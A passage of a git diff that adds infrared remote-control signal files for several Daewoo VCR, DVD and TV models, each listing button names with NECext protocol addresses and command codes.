b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: ch0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: ch1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: ch2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: ch3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: ch4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: ch5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: ch6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: ch7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: ch8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: ch9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: KEY_O +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: tv/vcr +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: prup +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: prdown +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: ad +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: asel +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: sp/lp +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1B 00 00 00 +# +name: svc +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1C 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1D 00 00 00 +# +name: gt30 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1E 00 00 00 +# +name: pal/sec +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 21 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 22 00 00 00 +# +name: qs +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 27 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 29 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 31 00 00 00 +# +name: indexup +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 33 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 35 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 36 00 00 00 +# +name: sv/v+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 39 00 00 00 +# +name: indexdown +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir new file mode 100644 index 000000000..fb9d8d5a2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 15 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 16 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 17 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 18 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 19 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1A 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1B 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1C 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: wide +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: status +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir new file mode 100644 index 000000000..13730d9eb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: 0/10 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 90 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 91 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 92 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 93 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 94 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 95 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 96 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 97 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 98 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 99 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9A 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9B 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9E 00 00 00 +# +name: FAST_FWD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 9F 00 00 00 +# +name: FAST_REV +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A0 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A1 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A2 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A3 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A4 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A5 00 00 00 +# +name: MARK +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A6 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A7 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A8 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: A9 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: AA 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: AB 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: AD 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: AE 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: AF 00 00 00 +# +name: TITLE/PBC +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B0 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B1 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B3 00 00 00 +# +name: 3D +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B4 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B5 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B6 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B7 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B8 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: B9 00 00 00 +# +name: CHANNEL +type: parsed +protocol: NECext +address: 15 00 00 00 +command: BA 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 15 00 00 00 +command: BB 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 15 00 00 00 +command: BC 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: BD 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 15 00 00 00 +command: BE 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: BF 00 00 00 +# +name: V-MODE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: C0 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: C1 00 00 00 +# +name: FN1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: C2 00 00 00 +# +name: FN2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: C3 00 00 00 +# +name: FN3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: C4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir new file mode 100644 index 000000000..fc72d30f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: d4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: menu +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0B 00 00 00 +# +name: aux +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0C 00 00 00 +# +name: stop +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: play +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: ffwd +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: rew +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: pause +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: rec +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: slow +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: d3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 14 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: prup +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: prdown +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: c+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: d1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: speed +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1B 00 00 00 +# +name: v- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1C 00 00 00 +# +name: d2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1D 00 00 00 +# +name: v+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1F 00 00 00 +# +name: c- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 21 00 00 00 +# +name: shuttle+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 25 00 00 00 +# +name: ok +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 29 00 00 00 +# +name: shuttle- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 2D 00 00 00 +# +name: b- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 31 00 00 00 +# +name: b+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 35 00 00 00 +# +name: p +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 39 00 00 00 +# +name: hi-rew +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir new file mode 100644 index 000000000..c13e759cc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: KEY_1/ALL +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 42 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: VOCAL-ASSIST +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4C 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 50 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 54 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 55 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir new file mode 100644 index 000000000..c8ab3dd21 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: sleep +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0D 00 00 00 +# +name: recall +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 12 00 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 13 00 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 15 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 16 00 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 17 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 18 00 00 00 +# +name: center +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 +# +name: --- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 25 00 00 00 +# +name: Normal--Ok +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 27 00 00 00 +# +name: skip +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: move +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 33 00 00 00 +# +name: delete +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: mode +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: X +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 48 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir new file mode 100644 index 000000000..eaec8a678 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0D 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 12 00 00 00 +# +name: GROMKO +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 13 00 00 00 +# +name: TIHO +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 15 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 16 00 00 00 +# +name: PRUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 17 00 00 00 +# +name: PRDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 18 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 +# +name: NORMAL/OK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 27 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: MOVE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 33 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir new file mode 100644 index 000000000..6df48c7b9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 13 00 00 00 +# +name: VOL_DOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 15 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 16 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 17 00 00 00 +# +name: CH_DOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 18 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir new file mode 100644 index 000000000..f1bd85fd9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed 